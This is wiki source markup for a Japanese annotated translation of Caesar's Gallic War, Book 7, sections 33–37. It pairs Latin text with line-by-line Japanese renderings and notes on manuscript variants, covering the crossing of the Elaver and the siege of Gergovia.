**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：部族国家の合議制統治機関を、カエサルの『ガリア戦記』では&lt;br&gt;　　　　ローマの元老院になぞらえて [[wikt:en:senatus#Latin|senatus]] と呼んでいるが、&lt;br&gt;　　　　区別して「評議会」と訳す。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：quos inter ～ は、関係節の関係代名詞 quos が&lt;br&gt;　　　　　　　　　　　前置詞 inter の前に出ている語順。）&lt;/span&gt;
*ad se [[wikt:en:Decetia#Latin|Decetiam]] [[wikt:en:evocavit#Latin|evocavit]]. 
**デケティアの自分&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ呼び出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：デケティア [[w:la:Decetia|Decetia]] は、現在の[[w:en:Decize|Decize]] ドシーズ（ドゥスィズ&lt;ref&gt;Decize の発音は [[wikt:fr:Decize|Decize]] を参照せよ。&lt;/ref&gt;）であると考えられている。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Cum prope omnis civitas eo [[wikt:en:convenisset#Latin|convenisset]], [[wikt:en:doceretur#Latin|doceretur]]&lt;nowiki&gt;que&lt;/nowiki&gt; 
**部族のほぼすべての&lt;small&gt;（主だった）&lt;/small&gt;者たちがそこに集まっていたときに、&lt;small&gt;（以下のことが）&lt;/small&gt;報知された。
*[[wikt:en:paucus#Latin|paucis]] [[wikt:en:clam#Latin|clam]] [[wikt:en:convocatus#Latin|convocatis]] [[wikt:en:alius#Latin|alio]] loco, [[wikt:en:alius#Latin|alio]] tempore atque [[wikt:en:oportuerit#Latin|oportuerit]], 
**わずかな者たちが密かに、あるべきはずとは別の場所、別の時に呼び集められて、
*[[wikt:en:fratrem#Latin|fratrem]] a [[wikt:en:fratre#Latin|fratre]] [[wikt:en:renuntiatus#Latin|renuntiatum]] &lt;span style=&quot;color:#009900;&quot;&gt;[esse]&lt;/span&gt;, 
**兄により弟&lt;small&gt;（の就位）&lt;/small&gt;が告げられたというのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：前年に統領であった兄ウァレティアクスによって&lt;br&gt;　　　　弟コトゥスの統領への就位が告げられたということであろう。）&lt;/span&gt;
*&lt;span style=&quot;font-size:11pt;&quot;&gt;cum leges &lt;u&gt;duo&lt;/u&gt; ex una familia [[wikt:en:vivus#Latin|vivo]] [[wikt:en:utroque#Latin|utroque]] &lt;u&gt;non solum&lt;/u&gt; [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:creari#Latin|creari]] [[wikt:en:vetarent#Latin|vetarent]], &lt;u&gt;sed etiam&lt;/u&gt; in [[wikt:en:senatus#Latin|senatu]] esse [[wikt:en:prohiberent#Latin|prohiberent]],&lt;/span&gt; 
**&lt;span style=&quot;font-size:11pt;&quot;&gt;──法が、一家族の2名が双方とも存命中に、統領に選出されるのを禁じるだけでなく、&lt;u&gt;評議会&lt;/u&gt;にいることも禁じているのに──&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：non [[wikt:en:solum#Latin:_adverb|solum]] ～ [[wikt:en:sed#Latin|sed]] [[wikt:en:etiam#Latin|etiam]] …「～のみならず、…もまた」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;･&amp;beta;系写本や写本B･M･Sでは [[wikt:en:duo#Latin|duo]] だが、&lt;br&gt;　　　　　　　　　写本L･Nでは [[wikt:en:duos#Latin|duos]] となっている。）&lt;/span&gt;
*[[wikt:en:Cotus#Latin|Cotum]] [[wikt:en:imperium#Latin|imperium]] [[wikt:en:depono#Latin|deponere]] [[wikt:en:coegit#Latin|coegit]]&lt;!--,--&gt;; 
**（カエサルは）コトゥスに支配権を放棄することを強要した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:Convictolitavis#Latin|Convictolitavem]], qui per [[wikt:en:sacerdos#Latin|sacerdotes]] [[wikt:en:mos#Latin|more]] [[wikt:en:civitas#Latin|civitatis]] [[wikt:en:intermissus#Latin|intermissis]] [[wikt:en:magistratus#Latin|magistratibus]] [[wikt:en:esset#Latin:_be|esset]] [[wikt:en:creatus#Latin|creatus]], 
**コンウィクトリタウィスは、統領が空位になったときに、部族の規則により、&lt;u&gt;祭司&lt;/u&gt;を通じて選出されたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう祭司 sacerdos が[[ガリア戦記 第6巻#13節|第6巻13節]]以下で説明された[[w:ドルイド|ドルイド]]と同じか否かは不詳である。）&lt;/span&gt;
*[[wikt:en:potestas#Latin|potestatem]] [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:iussit#Latin|iussit]].
**&lt;small&gt;（カエサルは彼に）&lt;/small&gt;権力の座に就くことを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===34節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/34節]]　{{進捗|00%|2026-10-18}}&lt;/span&gt;
;ハエドゥイー族を動員し、ローマ軍をカエサルとラビエーヌスの二隊に分散

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hoc [[wikt:en:decretum#Latin|decreto]] [[wikt:en:interpositus#Latin|interposito]], 
**この裁定を裁決すると、
*[[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ハエドゥイ族|ハエドゥイー族]]を&lt;small&gt;（以下のように）&lt;/small&gt;激励して、
*ut [[wikt:en:controversia#Latin|controversiarum]] ac [[wikt:en:dissensio#Latin|dissensionis]] [[wikt:en:obliviscerentur#Latin|obliviscerentur]] 
**&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;【&lt;/span&gt;&lt;small&gt;（部族内部の）&lt;/small&gt;論争や不和を忘れるように、
*atque, omnibus [[wikt:en:omissus#Latin|omissis]] his rebus 
**かつ、これらすべての事情を度外視して、
*huic bello [[wikt:en:servirent#Latin|servirent]], 
**&lt;small&gt;（ウェルキンゲトリークスとの）&lt;/small&gt;この戦争に尽くすように、
*&lt;u&gt;[[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quae&lt;/u&gt; [[wikt:en:meruissent#Latin|meruissent]], [[wikt:en:praemium#Latin|praemia]] ab se [[wikt:en:devictus#Latin|devicta]] Gallia [[wikt:en:exspectarent#Latin|exspectarent]], 
**ガッリアが征服されたときには&lt;small&gt;（彼らが）&lt;/small&gt;得るに値する自分&lt;small&gt;〔カエサル〕&lt;/small&gt;からの恩賞を期待するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae は、最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed. pr.]] による修正で、&lt;br&gt;　　　　　　　　&amp;alpha;系・&amp;rho;系写本では [[wikt:en:ea#Latin:_things|ea]] quae &lt;br&gt;　　　　　　　　&amp;pi;系写本では atque quae となっている。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et [[wikt:en:pedes#Latin|peditum]] [[wikt:en:mille#Latin|milia]] X([[wikt:en:decem#Latin|decem]]) sibi celeriter [[wikt:en:mitterent#Latin|mitterent]], 
**&lt;small&gt;（ハエドゥイー族の）&lt;/small&gt;騎兵隊のすべてと歩兵1万名を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に速やかに派遣するように、
*quae in [[wikt:en:praesidium#Latin|praesidiis]] rei [[wikt:en:frumentarius#Latin|frumentariae]] causa [[wikt:en:disponeret#Latin|disponeret]], 
**それらは糧食供給のために守備隊として分けて置くものである、と&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;】&lt;/span&gt;
*[[wikt:en:exercitus#Latin:_noun|exercitum]] in duas partes [[wikt:en:divisit#Latin|divisit]]: 
**&lt;small&gt;（カエサルは）&lt;/small&gt;軍隊を二つの方面軍に分けた。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quattuor#Latin|quattuor]] [[wikt:en:legio#Latin|legiones]] in [[wikt:en:Senones#Latin|Senones]] [[wikt:en:Parisii#Latin|Parisios]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Labienus#Latin|Labieno]] [[wikt:en:ducendus#Latin|ducendas]] [[wikt:en:dedit#Latin|dedit]], 
**4個[[w:ローマ軍団|軍団]]をセノネース族やパリスィイー族のところに率いて行くべく[[w:ティトゥス・ラビエヌス|ラビエーヌス]]に委ねた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ラビエーヌス [[w:la:Titus Labienus|Labienus]] のこの遠征については&lt;br&gt;　　　　[[#57節|57節]]～62節で述べられる。）&lt;/span&gt;
*[[wikt:en:sex#Latin|sex]] ipse in [[wikt:en:Arverni#Latin|Arvernos]] ad oppidum [[wikt:en:Gergovia#Latin|Gergoviam]] 
**6個&lt;small&gt;（軍団）&lt;/small&gt;を自身&lt;small&gt;〔カエサル〕&lt;/small&gt;がアルウェルニー族のところの城塞都市ゲルゴウィアへ
*[[wikt:en:secundum#Preposition_2|secundum]] flumen [[wikt:en:Elaver#Latin|Elaver]] [[wikt:en:duxit#Latin|duxit]]; 
**エラウェル川に沿って率いて行った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：エラウェル川 [[w:la:Elaver|Elaver]] は現在の[[w:アリエ川|アリエ川]] Allier である。）&lt;/span&gt;
[[画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire|Loire]]）に合流する。]]
*[[wikt:en:equitatus#Latin:_cavalry|equitatus]] partem illi [[wikt:en:adtribuit#Latin|adtribuit]], 
**騎兵隊の一部を彼&lt;small&gt;〔ラビエーヌス〕&lt;/small&gt;に割り当てて、
*partem sibi [[wikt:en:reliquit#Latin|reliquit]]. 
**&lt;small&gt;（別の）&lt;/small&gt;一部を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に残した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:cognitus#Participle|cognita]] 
**その事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は
*omnibus [[wikt:en:interruptus#Latin|interruptis]] eius fluminis [[wikt:en:pons#Latin|pontibus]] 
**その川のすべての橋を破却すると、
*ab [[wikt:en:alter#Latin|altera]] fluminis parte [[wikt:en:iter#Latin|iter]] facere [[wikt:en:coepit#Latin|coepit]].
**川の別の側を行軍し始めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===35節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/35節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
;カエサルが陽動によってエラウェル川に架橋、渡河する

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum uterque &lt;u&gt;utrimque exisset exercitus&lt;/u&gt;, in conspectu, fereque &lt;u&gt;e regione&lt;/u&gt; castris castra &lt;u&gt;ponebant&lt;/u&gt;, 
**&lt;small&gt;（ガッリア勢とローマ勢の）&lt;/small&gt;軍隊の双方が互いに視界にあって、ほぼ真向かいに互いの陣営を設置したときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：一つ目の下線部は、&amp;alpha;系写本では utrimque exisset exercitus だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では utrique esset exercitui となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：三つ目の下線部は、&amp;alpha;系写本では ponebant だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では poneret となっている。）&lt;/span&gt;
*dispositis exploratoribus, necubi effecto ponte Romani copias traducerent. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;ローマ人の軍勢がどこにも橋を造って渡河しないように、偵察者たちを分けて置き、

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Erat in magnis &lt;u&gt;Caesari&lt;/u&gt; difficultatibus res, 
**カエサルにとって事態は大きな困難になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;pi;系写本では Caesari だが、&lt;br&gt;　　　　&amp;alpha;系写本などでは Caesaris となっている。）&lt;/span&gt;
*ne maiorem aestatis partem flumine impediretur, 
**夏の大部分にわたって&lt;small&gt;（対岸の敵との交戦が）&lt;/small&gt;川により妨げられるのではないか、
*quod non fere ante autumnum Elaver vado transiri solet. 
**──というのは、[[w:アリエ川|エラウェル川]]は秋の前はほとんど浅瀬を渡らない習わしであったからだ──。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque, ne id accideret, 
**こうして、そのことが生じないように、
*silvestri loco castris positis 
**森林地帯に陣営を設置すると、
*&lt;u&gt;e regione&lt;/u&gt; unius eorum pontium, quos Vercingetorix rescindendos curaverat, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が切り裂かれるように手配していたところの橋の一つの真向かいに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*postero die cum duabus legionibus &lt;u&gt;in occulto&lt;/u&gt; restitit; 
**翌日に、2個[[w:ローマ軍団|軍団]]とともに密かなところに留まった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; reliquas copias cum omnibus impedimentis, ut consueverat, misit, 
**残りの軍勢&lt;small&gt;&lt;/small&gt;（＝4個軍団）をすべての輜重とともに、通常のように、出発させた。
*&lt;u&gt;captis&lt;/u&gt; quibusdam cohortibus, uti numerus legionum constare videretur. 
**軍団の数を保っていると（敵から）見られるように、いくつかの&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を含ませていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では captis だが、&lt;br&gt;　　　　写本Rの一部では carptis となっており、&lt;br&gt;　　　　校訂版により、apertis、distractis、sic collocatis などさまざまな修正提案がある。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; His, quam longissime possent, &lt;u&gt;egredi&lt;/u&gt; iussis, 
**彼ら（4個軍団）には、できる限り遠くまで前進することを命じた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では egredi だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では progredi となっている。）&lt;/span&gt;

*cum iam ex diei tempore coniecturam &lt;u&gt;ceperat&lt;/u&gt; in castra perventum, 
**すでに、日の時刻から（彼らが）宿営地に到達したと（カエサルが）推測をしたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では ceperat だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では caperet となっている。）&lt;/span&gt;

*isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit. 
**（前述の）同じ橋杭は、そのより下方の部分が損なわれないで残っていたので、橋を修復し始めた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter effecto opere 
**速やかに工事が成し遂げられて、
*legionibusque traductis et loco castris idoneo delecto, 
**&lt;small&gt;&lt;/small&gt;（2個）軍団が渡河させられて、陣営に適切な地点を選んで、
*reliquas copias revocavit. 
**残りの軍勢（＝4個軍団）を呼び戻した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Vercingetorix re cognita, 
**ウェルキンゲトリークスは事態を知って、
*ne contra suam voluntatem dimicare cogeretur, 
**自らの意向に反して&lt;small&gt;&lt;/small&gt;（ローマ勢と）争闘することを強いられないように、
*magnis itineribus antecessit.
**強行軍で&lt;small&gt;&lt;/small&gt;（ゲルゴウィアに向けて）先行した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===36節===
{{wikipedia|ゲルゴウィアの戦い}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
;両軍がゲルゴウィアの要衝に陣営を築く
[[画像:FR-63-Gergovie.JPG|thumb|right|300px|ゲルゴウィア（Gergovia）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀のウジェーヌ・ストッフェル大佐（colonel [[w:fr:Eugène Stoffel|Eugène Stoffel]]）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。]]
[[画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀のストッフェル大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。]]

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex eo loco quintis castris [[wikt:en:Gergovia#Latin|Gergoviam]] pervenit 
**カエサルは（渡河した）その地点から5回目の宿営でゲルゴウィアに到着した。
*equestrique eo die proelio levi facto, 
**（到着した）その日に（ガッリア勢と）軽微な[[w:騎兵|騎兵]]戦を闘って、
*perspecto urbis situ, quae posita in altissimo monte omnes aditus difficiles habebat, 
**山の非常に高いところに位置し、すべての接近路を困難なものとしている（ゲルゴウィアの）町の地勢を認識して、
*de &lt;u&gt;expugnatione&lt;/u&gt; desperavit;  
**（拙速に突撃するような）攻略については断念して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:expugnatione#Latin|expugnatione]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:oppugnatione#Latin|oppugnatione]] となっている。）&lt;/span&gt;
*de obsessione non &lt;u&gt;prius&lt;/u&gt; agendum constituit, &lt;u&gt;quam&lt;/u&gt; rem frumentariam expedisset. 
**糧食調達の整備をするより前には、攻囲について行なうべきでないと決心した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：prius ～ quam …「…よりも前に～」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; At Vercingetorix, castris prope oppidum &lt;u&gt;in monte&lt;/u&gt; positis, 
**それに対して、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、山中の城塞都市の近くに陣営を設置して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in monte は &amp;beta;系写本にある記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*mediocribus circum se intervallis separatim singularum &lt;u&gt;civitatum&lt;/u&gt; copias conlocaverat 
**自陣の周りに、適切な間隔で個々の部族の軍勢を別々に駐屯させて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本B･M･L･Nでは [[wikt:en:civitatum#Latin|civitatum]] という語形だが、&lt;br&gt;　　　　　　　　　&amp;chi;系･&amp;beta;系写本･写本Sでは [[wikt:en:civitatium#Latin|civitatium]] の語形となっている。）&lt;/span&gt;

*atque omnibus eius iugi collibus occupatis, qua despici poterat, 
**その尾根のうち（山麓を）見下ろすことができたすべての丘陵を占有して、
*horribilem speciem praebebat; 
**恐ろしげな姿を現わした。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; principesque earum &lt;u&gt;civitatum&lt;/u&gt;, quos sibi ad consilium capiendum delegerat, 
**（ウェルキンゲトリークス）自らが作戦を立てるために選び出していた諸部族の領袖たちに
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の語形については、上述と同様。）&lt;/span&gt;
*prima luce cotidie ad se convenire iubebat, 
**毎日、夜明けに自分のところへ集まることを命じた。
*&lt;u&gt;seu&lt;/u&gt; quid communicandum, &lt;u&gt;seu&lt;/u&gt; quid administrandum videretur, 
**何らかのことを伝達･協議するのか、あるいは何らかのことを指導するのだと思われる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：seu ～ seu …「あるいは～、あるいは…」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; neque ullum fere diem intermittebat, quin equestri proelio interiectis sagittariis, 
**騎兵戦に弓兵を介在させることを、ほとんどどの日も中断せずに、
*quid in quoque esset animi ac virtutis suorum, &lt;u&gt;periclitaretur&lt;/u&gt;. 
**どのような心構えや武勇が、配下の者たちのおのおのにあるかを、吟味した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:periclitaretur#Latin|periclitaretur]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:perspiceretur#Latin|perspiceretur]] 、&lt;br&gt;　　　　　　　　　写本Tの一部では [[wikt:en:perspiceret#Latin|perspiceret]] となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Erat [[wikt:en:e_regione#Latin|e regione]] oppidi collis sub ipsis radicibus montis 
**山のその麓の下方に、城塞都市の真向かいに、丘陵があって、
*egregie munitus atque ex omni parte circumcisus; 
**あらゆる方面から周囲が険しくて、（その地形により）すばらしく護られていた。
*quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostes videbantur. 
**もし、それを我が方（ローマ勢）が占めれば、水源の大半と自由な糧秣徴発から敵たちを妨げるであろうと思われた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;u&gt;nimis firmo&lt;/u&gt;, &lt;u&gt;tamen tenebatur&lt;/u&gt;. 
**だが、その地点は、彼ら（ガッリア勢）により、大して強力ではない守備隊で占められていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:nimis#Latin|nimis]] [[wikt:en:|firmo は主要写本&amp;omega;の記述だが、''[[ガリア戦記/注解編/写本と校訂版#Zucker|Zucker]]'' による infirmo という修正提案がある。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の tamen tenebatur の語順は、''[[ガリア戦記/注解編/写本と校訂版#Oudendorpius|Oudendorpius]]'' による修正提案で、&lt;br&gt;　　　　　　　　　写本では tenebatur tamen となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;(Tamen)&lt;/u&gt; silentio noctis Caesar ex castris egressus, 
**にもかかわらず（昼間ではなく）夜の静けさのうちに、カエサルは陣営から出撃して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：tamen については、上記を参照。）&lt;/span&gt;
*priusquam subsidio ex oppido veniri posset, 
**城塞都市（のそばの陣営）から援兵に来られるより前に、
*deiecto praesidio potitus loco duas ibi legiones conlocavit 
**守備隊を追い出して、地点を占拠して、そこに2個[[w:ローマ軍団|軍団]]を駐屯させた。
*fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, 
**12&lt;u&gt;ペース&lt;/u&gt;の二重の堀を、より大きな陣営から（この丘陵の）より小さな陣営へ至らしめた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、12ペースは約3.6メートル。）&lt;/span&gt;
*ut tuto ab repentino hostium incursu etiam singuli commeare possent.
**敵たちの不意の襲撃から安全に、1人1人が往来することができるように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===37節===
'''ハエドゥイー族のコンウィクトリタウィスがガッリア同盟軍に内応する'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアのところでなされている間に、
*Convictolitavis [[w:la:Haedui|Haeduus]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]のコンウィクトリタウィスは、
*cui magistratum adiudicatum a Caesare demonstravimus, 
**その者はカエサルによって統領として承認されたと（[[#33節|33節]]で）既述したが、
*sollicitatus ab Arvernis pecunia cum quibusdam adulescentibus conloquitur, 
**[[w:アルウェルニ族|アルウェルニー族]]により金銭でそそのかされて、ある若者たちと談判した。
*quorum erat princeps Litaviccus atque eius fratres, 
**その者たちの領袖は[[w:リタウィックス|リタウィックス]]とその兄弟たちであり、
*amplissima familia nati adulescentes. 
**とても強大な一族に生まれた若者たちだった。
*②　Cum his praemium communicat 
**彼らとともに（アルウェルニー族からの）報酬を共有して、
*hortaturque, ut se liberos et imperio natos meminerint. 
**自分たちが自由民で支配層の生まれであるのを思い起こせ、と鼓舞した。
*③　Unam esse Haeduorum civitatem, quae certissimam Galliae victoriam distineat&lt;ref&gt;distineat はM･N･π･R写本などの記述で、Q･U写本などでは destineat 、A･B･S写本などでは dedistineat などとなっている。&lt;/ref&gt;; 
**ハエドゥイーの部族国家は、ガッリアの至極確実な勝利を阻んでいる唯一のものであり、
*eius auctoritate reliquas contineri; 
**その声望により、ほかの（同盟部族の）ものたちが（ローマ側に）保持されているが、
*qua traducta locum consistendi Romanis in Gallia non fore. 
**それが（ガッリア勢に）引き入れられることによって、ガッリアにおいてローマ人が留まり続ける場はないであろう。
*④　Esse nonnullo se Caesaris beneficio adfectum, 
**自分はカエサルの少なからぬ恩義をかけられているが、
*sic tamen, ut iustissimam apud eum causam obtinuerit; 
**しかし、彼（カエサル）のもとで至極合法的な理由を手に入れたまでであり、
*sed plus communi libertati tribuere. 
**しかし、（ガッリアの）共通の自由に従うことの方がより大きい。
*⑤　Cur enim potius Haedui de suo iure et de legibus ad Caesarem disceptatorem quam Romani ad Haeduos veniant? 
**なぜ実際、ハエドゥイー族は自らの法令や法制について、ローマ人がハエドゥイー族へ来るよりむしろ、カエサルを仲裁者とするのか？
*⑥　Celeriter adulescentibus et oratione magistratus et praemio deductis, 
**若者たちは速やかに、統領の演説と報酬によって導き入れられた。
*cum se vel principes eius consilii fore profiterentur, 
**自分たちがその謀計の首謀者にすらなろうと申し出たときに、
*ratio perficiendi quaerebatur, 
**（謀計を）成し遂げる方法が求められた。
